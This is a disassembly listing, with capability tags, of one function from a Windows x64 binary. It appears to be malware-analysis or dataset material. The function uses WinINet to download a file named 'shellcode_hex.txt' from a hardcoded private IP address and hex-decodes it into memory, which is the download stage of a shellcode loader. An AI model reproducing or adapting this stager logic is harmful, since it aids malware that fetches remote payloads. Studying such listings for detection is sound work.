Function at 0x140001f20
Capabilities:
Create http request
Get http content length
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0x90
mov rax, qword [0x14003a040]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov r14, rdx
xor ebx, ebx
mov dword [rbp - 1], ebx
mov dword [rbp + 7], ebx
mov dword [rbp + 0xb], 4
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.User_Agent
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r13, rax
test rax, rax
jne 0x140001fb5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.InternetOpen_failed._Error:
call fcn.140004360
mov rcx, rax
mov edx, ebx
call fcn.140002420
mov rcx, rax
call fcn.140004640
xor eax, eax
jmp 0x1400022bf
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.http:__192.168.206.129_mar_mar_x64_Release_shellcode_hex.txt
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov qword [rbp - 0x29], rax
test rax, rax
jne 0x140002017
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.InternetOpenUrlA_failed._Error:
call fcn.140004360
mov rcx, rax
mov edx, ebx
call fcn.140002420
mov rcx, rax
call fcn.140004640
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x1400022bf
lea rcx, [rbp + 7]
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0xb]
lea r8, [rbp - 1]
mov edx, 0x20000005
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
xorps xmm0, xmm0
mov r8d, dword [rbp - 1]
lea eax, [r8 + 1]
mov esi, eax
movdqu xmmword [rbp + 0xf], xmm0
mov r12, rbx
mov qword [rbp + 0x1f], rbx
test eax, eax
je 0x1400020b3
cmp rsi, 0x1000
jb 0x140002085
lea rcx, [rax + 0x27]
cmp rcx, rsi
jbe 0x1400022f2
call fcn.1400086a8
test rax, rax
je 0x1400022ec
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002090
mov rcx, rsi
call fcn.1400086a8
mov rdi, rax
mov qword [rbp + 0xf], rdi
lea r12, [rdi + rsi]
mov qword [rbp + 0x1f], r12
mov r8, rsi
xor edx, edx
mov rcx, rdi
call fcn.140028670
mov qword [rbp + 0x17], r12
mov r8d, dword [rbp - 1]
jmp 0x1400020b7
mov rdi, qword [rbp + 0xf]
lea r9, [rbp + 3]
mov rdx, rdi
mov rcx, qword [rbp - 0x29]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400020f7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.InternetReadFile_failed._Error:
call fcn.140004360
mov rcx, rax
mov edx, ebx
call fcn.140002420
mov rcx, rax
call fcn.140004640
jmp 0x14000226f
mov eax, dword [rbp + 3]
test eax, eax
je 0x14000226f
mov byte [rax + rdi], 0
mov esi, dword [rbp + 3]
shr rsi, 1
mov r15, qword [r14 + 8]
mov rdx, qword [r14]
mov rcx, r15
sub rcx, rdx
cmp rsi, rcx
jae 0x140002124
lea rax, [rdx + rsi]
jmp 0x140002153
jbe 0x140002157
mov rax, qword [r14 + 0x10]
sub rax, rdx
cmp rsi, rax
jbe 0x14000213f
mov rdx, rsi
mov rcx, r14
call fcn.140005b10
jmp 0x140002157
sub rsi, rcx
mov r8, rsi
xor edx, edx
mov rcx, r15
call fcn.140028670
lea rax, [r15 + rsi]
mov qword [r14 + 8], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x21], xmm0
mov qword [rbp - 0x11], rbx
mov qword [rbp - 9], rbx
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rdi + r8], 0
jne 0x140002170
mov rdx, rdi
lea rcx, [rbp - 0x21]
call fcn.1400046d0
mov rsi, qword [r14]
mov r10, qword [rbp - 9]
mov r9, qword [rbp - 0x21]
mov r11, qword [rbp - 0x11]
test r11, r11
je 0x140002238
mov r8, rbx
lea rax, [rbp - 0x21]
cmp r10, 0xf
cmova rax, r9
movzx ecx, byte [r8 + rax]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x1400021be
sub cl, 0x30
jmp 0x1400021d8
lea eax, [rcx - 0x61]
cmp al, 5
ja 0x1400021ca
sub cl, 0x57
jmp 0x1400021d8
lea eax, [rcx - 0x41]
cmp al, 5
ja 0x1400021d6
sub cl, 0x37
jmp 0x1400021d8
xor cl, cl
lea rax, [rbp - 0x21]
cmp r10, 0xf
cmova rax, r9
movzx edx, byte [r8 + rax + 1]
lea eax, [rdx - 0x30]
cmp al, 9
ja 0x1400021f6
sub dl, 0x30
jmp 0x140002210
lea eax, [rdx - 0x61]
cmp al, 5
ja 0x140002202
sub dl, 0x57
jmp 0x140002210
lea eax, [rdx - 0x41]
cmp al, 5
ja 0x14000220e
sub dl, 0x37
jmp 0x140002210
xor dl, dl
shl cl, 4
add cl, dl
mov eax, ebx
test ebx, ebx
jns 0x14000221e
lea eax, [rbx + 1]
sar eax, 1
cdqe
mov byte [rax + rsi], cl
add ebx, 2
add r8, 2
movsxd rax, ebx
cmp rax, r11
jb 0x1400021a1
cmp r10, 0xf
jbe 0x14000226f
lea rdx, [r10 + 1]
mov rax, r9
cmp rdx, 0x1000
jb 0x140002267
add rdx, 0x27
mov r9, qword [r9 - 8]
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400022f8
mov rcx, r9
call fcn.1400086a0
mov rcx, qword [rbp - 0x29]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebx, dword [rbp + 3]
shr rbx, 1
test rdi, rdi
je 0x1400022bc
sub r12, rdi
mov rax, rdi
cmp r12, 0x1000
jb 0x1400022b1
add r12, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400022ec
mov rdx, r12
mov rcx, rdi
call fcn.1400086a0
mov rax, rbx
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.140008680
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140010a14
int3
call fcn.1400012b0
nop
call fcn.140010a14
nop
int3